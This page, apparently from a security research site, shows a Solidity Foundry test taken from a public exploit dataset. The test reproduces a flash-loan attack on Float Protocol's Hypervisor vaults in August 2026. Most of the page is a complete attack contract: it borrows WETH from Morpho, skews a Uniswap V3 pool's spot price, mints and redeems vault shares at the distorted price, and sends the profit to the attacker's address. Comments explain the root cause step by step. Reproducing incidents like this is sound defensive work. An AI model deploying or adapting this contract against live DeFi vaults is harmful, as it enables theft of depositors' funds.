Skip to content
THREATWIRE

Public reproduction file

src/test/2026-08/FloatProtocol_exp.sol

Public reproduction file for dataset entry FloatProtocol.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-08/FloatProtocol_exp.sol234 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6
7// Float Protocol Hypervisor (Gamma/Visor-style concentrated-liquidity vault) — Uniswap V3
8// spot-price manipulation of LP-share pricing — Ethereum mainnet, 2026-08.
9// Attacker net gain ~10.7066 ETH (~$28K), flash-loan funded, in a single tx.
10//
11// Exploit tx : 0x3d7549db65344da2a41067e17791b17fac16ec6b8e5132e82e243f6541de5cff (block 25874402)
12// Attacker EOA : 0xAEA29218262dc6b0904Ca077f6527C49dfd426D9
13// Attack ctrt : 0xb46655eb5b77de277063a75586d1883e951b6c54 (flash-loan / callback target)
14//
15// Root cause (verified against the on-chain trace, NOT a key/admin/signer compromise): Float's
16// Hypervisor prices LP shares off getTotalAmounts(), which values the vault's Uniswap V3 position
17// at the pool's INSTANTANEOUS slot0 spot price — no TWAP, no deviation/slippage guard on the
18// permissionless deposit()/withdraw() path. So an unprivileged caller pushes the V3 tick with a
19// large swap on the underlying pool, deposits into the hypervisors while the valuation is skewed,
20// moves the tick back, and withdraws a richer token mix than it put in. Two hypervisors share the
21// one pool, so both are worked with the same tick moves.
22//
23// Verified contracts (Etherscan): the two "Hypervisor" vaults and the "DepositProxy" (Gamma
24// UniProxy) gateway are source-verified; deposit(uint256,uint256,address) and
25// withdraw(uint256,address,address) are their real 3-arg signatures.
26//
27// Real economic sequence, reconstructed 1:1 from the trace below as ordinary typed calls (no
28// bytecode blob, no raw calldata replay). All fCash-free; both underlying tokens are 18-decimal.
29// token0 = 0xb050…7cb9 (Float pair token) token1 = 0xC02a…6Cc2 (WETH)
30//
31// flashLoan 1000 WETH from Morpho Blue, then inside the callback:
32// UniV2 flash-swap 120,000 token0 from the token0/WETH pair (working capital), and inside
33// THAT callback:
34// 1. V3 swap: dump 114,000 token0 -> WETH, skewing slot0 down.
35// 2. deposit (2000 token0 / 200 WETH) into Hypervisor A via DepositProxy, then withdraw its
36// shares; same with (4000 / 400) into Hypervisor B — minting shares at the skewed price.
37// 3. V3 swap: buy token0 with 250 WETH, skewing slot0 back up.
38// 4. single-sided deposits of the token0 now held (395,035 and 394,911) into A and B, then
39// withdraw those shares — redeeming a WETH-richer mix than deposited.
40// 5. repay the 120,000-token0 flash-swap (+0.3% fee), then a final V3 swap dumping the
41// leftover token0 back to WETH.
42// Settle the surplus token0 into ~8.26 WETH through a second flash-swap, then repay Morpho.
43// The net ~10.7066 WETH surplus is unwrapped to ETH and sent to the attacker EOA.
44//
45// The vulnerable pricing math runs inside Float's own on-chain Hypervisor/Uniswap contracts on the
46// fork; this file only issues the same public calls the attacker did, in the same order and with
47// the same on-chain-observed amounts.
48//
49// forge test --contracts src/test/2026-08/FloatProtocol_exp.sol -vvv
51interface IMorpho {
52 function flashLoan(
53 address token,
54 uint256 assets,
55 bytes calldata data
56 ) external;
59interface IUniV2Pair {
60 function swap(
61 uint256 amount0Out,
62 uint256 amount1Out,
63 address to,
64 bytes calldata data
65 ) external;
68interface IUniV3Pool {
69 function swap(
70 address recipient,
71 bool zeroForOne,
72 int256 amountSpecified,
73 uint160 sqrtPriceLimitX96,
74 bytes calldata data
75 ) external returns (int256 amount0, int256 amount1);
78interface IDepositProxy {
79 function deposit(
80 uint256 deposit0,
81 uint256 deposit1,
82 address to
83 ) external returns (uint256 shares);
86interface IHypervisor {
87 function withdraw(
88 uint256 shares,
89 address to,
90 address from
91 ) external returns (uint256 amount0, uint256 amount1);
92 function getTotalAmounts() external view returns (uint256 total0, uint256 total1);
95interface IWETH is IERC20 {
96 function withdraw(
97 uint256
98 ) external;
101contract FloatHypervisorAttack {
102 IMorpho internal constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
103 IUniV2Pair internal constant V2PAIR = IUniV2Pair(0x481DdaF90C59d91F3e480E6793122E62612CA5A9);
104 IUniV3Pool internal constant POOL = IUniV3Pool(0xE8c2030686fC3b0161Ee1def0E8d01dFe4FAc0Ac);
105 IDepositProxy internal constant UNIPROXY_A = IDepositProxy(0x3803729416AA5207FE801C1C565B906F6f3f8a28);
106 IDepositProxy internal constant UNIPROXY_B = IDepositProxy(0x7CF8431E086e1bcdC9524fd305f7D5d8622CD75f);
107 address internal constant HYPER_A = 0x85CBeD523459b7f6F81C11e710DF969703a8A70C;
108 address internal constant HYPER_B = 0xc86B1e7FA86834CaC1468937cdd53ba3cCbC1153;
109 IERC20 internal constant TOKEN0 = IERC20(0xb05097849BCA421A3f51B249BA6CCa4aF4b97cb9); // pool token0
110 IWETH internal constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // pool token1
112 // Uniswap V3 sqrtPriceX96 swap bounds, plus the exact bound the third swap used on-chain.
113 uint160 internal constant MIN_SQRT = 4_295_128_740; // MIN_SQRT_RATIO + 1
114 uint160 internal constant MAX_SQRT = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_340; // MAX - 1
115 uint160 internal constant SWAP3_LIMIT = 1_291_467_994_120_676_505_669_234_512;
117 address internal immutable owner;
119 constructor() {
120 owner = msg.sender;
121 // Approve the DepositProxy gateways to pull both tokens, and Morpho to reclaim its loan.
122 TOKEN0.approve(address(UNIPROXY_A), type(uint256).max);
123 TOKEN0.approve(address(UNIPROXY_B), type(uint256).max);
124 WETH.approve(address(UNIPROXY_A), type(uint256).max);
125 WETH.approve(address(UNIPROXY_B), type(uint256).max);
126 WETH.approve(address(MORPHO), type(uint256).max);
127 }
129 function attack() external {
130 MORPHO.flashLoan(address(WETH), 1000e18, "");
132 // Realize the WETH surplus as ETH and forward it to the attacker EOA.
133 uint256 profit = WETH.balanceOf(address(this));
134 WETH.withdraw(profit);
135 (bool ok,) = owner.call{value: address(this).balance}("");
136 require(ok, "profit transfer failed");
137 }
139 // Morpho hands us 1000 WETH here; it reclaims it via transferFrom when this returns.
140 function onMorphoFlashLoan(
141 uint256,
142 bytes calldata
143 ) external {
144 require(msg.sender == address(MORPHO), "not morpho");
146 // Flash-swap 120,000 token0 from the V2 pair. Non-empty data -> the pair calls
147 // uniswapV2Call, where the whole manipulation runs and the flash-swap is repaid.
148 V2PAIR.swap(120_000e18, 0, address(this), bytes("run"));
150 // Settle the leftover token0 surplus into ~8.26 WETH via a second flash-swap: pre-pay the
151 // pair in token0, then draw the WETH out (empty data -> plain swap, no callback).
152 TOKEN0.transfer(address(V2PAIR), 40_644_521_389_686_378_541_565);
153 V2PAIR.swap(0, 8_262_293_544_735_057_778, address(this), "");
154 }
156 function uniswapV2Call(
157 address,
158 uint256,
159 uint256,
160 bytes calldata data
161 ) external {
162 require(msg.sender == address(V2PAIR), "not pair");
163 if (data.length == 0) return; // second flash-swap: nothing to do here
165 // 1. Skew slot0 down: dump 114,000 token0 for WETH.
166 POOL.swap(address(this), true, 114_000e18, MIN_SQRT, "");
168 // 2. Deposit at the skewed valuation and immediately redeem the shares (both vaults).
169 UNIPROXY_A.deposit(2000e18, 200e18, address(this));
170 IHypervisor(HYPER_A).withdraw(222_628_862_475_761_717_806, address(this), address(this));
171 UNIPROXY_B.deposit(4000e18, 400e18, address(this));
172 IHypervisor(HYPER_B).withdraw(3_703_209_972_128_726_462_535, address(this), address(this));
174 // 3. Skew slot0 back up: buy token0 with 250 WETH.
175 POOL.swap(address(this), false, 250e18, MAX_SQRT, "");
177 // 4. Single-sided token0 deposits at the reverted valuation, then redeem — the WETH-richer
178 // mix out is the extracted value.
179 UNIPROXY_A.deposit(395_035_555_697_366_947_975_421, 0, address(this));
180 IHypervisor(HYPER_A).withdraw(4_298_630_215_489_444_490_348, address(this), address(this));
181 UNIPROXY_B.deposit(394_911_862_263_990_464_219_244, 0, address(this));
182 IHypervisor(HYPER_B).withdraw(11_687_202_600_147_522_006_526, address(this), address(this));
184 // 5. Repay the 120,000-token0 flash-swap (principal + 0.3% fee), then dump the remaining
185 // token0 back to WETH.
186 TOKEN0.transfer(address(V2PAIR), 120_361_083_249_749_247_743_230);
187 POOL.swap(address(this), true, 273_935_936_917_328_916_023_788, SWAP3_LIMIT, "");
188 }
190 // Pay the Uniswap V3 pool the token it is owed for each swap.
191 function uniswapV3SwapCallback(
192 int256 amount0Delta,
193 int256 amount1Delta,
194 bytes calldata
195 ) external {
196 require(msg.sender == address(POOL), "not pool");
197 if (amount0Delta > 0) TOKEN0.transfer(address(POOL), uint256(amount0Delta));
198 if (amount1Delta > 0) WETH.transfer(address(POOL), uint256(amount1Delta));
199 }
201 receive() external payable {}
204contract FloatProtocol_exp is BaseTestWithBalanceLog {
205 address internal constant ATTACKER = 0xAEA29218262dc6b0904Ca077f6527C49dfd426D9;
207 uint256 internal constant FORK_BLOCK = 25_874_401; // parent of the exploit block 25874402
209 function setUp() public {
210 vm.createSelectFork("mainnet", FORK_BLOCK);
211 vm.label(ATTACKER, "AttackerEOA");
212 vm.label(0x85CBeD523459b7f6F81C11e710DF969703a8A70C, "HypervisorA");
213 vm.label(0xc86B1e7FA86834CaC1468937cdd53ba3cCbC1153, "HypervisorB");
214 vm.label(0xE8c2030686fC3b0161Ee1def0E8d01dFe4FAc0Ac, "UniV3Pool");
215 fundingToken = address(0); // profit realized in native ETH
216 attacker = ATTACKER;
217 }
219 /// forge-config: default.evm_version = "cancun"
220 function testExploit() public balanceLog {
221 uint256 before = ATTACKER.balance;
223 // The attack is fully permissionless; run it as the attacker EOA and send profit there.
224 vm.prank(ATTACKER, ATTACKER);
225 FloatHypervisorAttack exploit = new FloatHypervisorAttack();
226 exploit.attack();
228 uint256 gain = ATTACKER.balance - before;
229 emit log_named_decimal_uint("attacker ETH profit", gain, 18);
231 // Reproduced gain matches the reported ~10.71 ETH (~$28K).
232 assertApproxEqAbs(gain, 10.7066e18, 0.05e18, "profit off expected ~10.7066 ETH");
233 }

Analysis

Dataset entry

Public Foundry test for “FloatProtocol” (2026-08-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/interfaces/IERC20.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xaea29218262dc6b0904ca077f6527c49dfd426d9

File record

Name
FloatProtocol
Path
src/test/2026-08/FloatProtocol_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
580cff16ebae459f0f711aae85e4248182b18b58
Language
Solidity
Size
235 lines
Date
2026-08-31
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-08/FloatProtocol_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 580cff16ebae459f0f711aae85e4248182b18b58, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.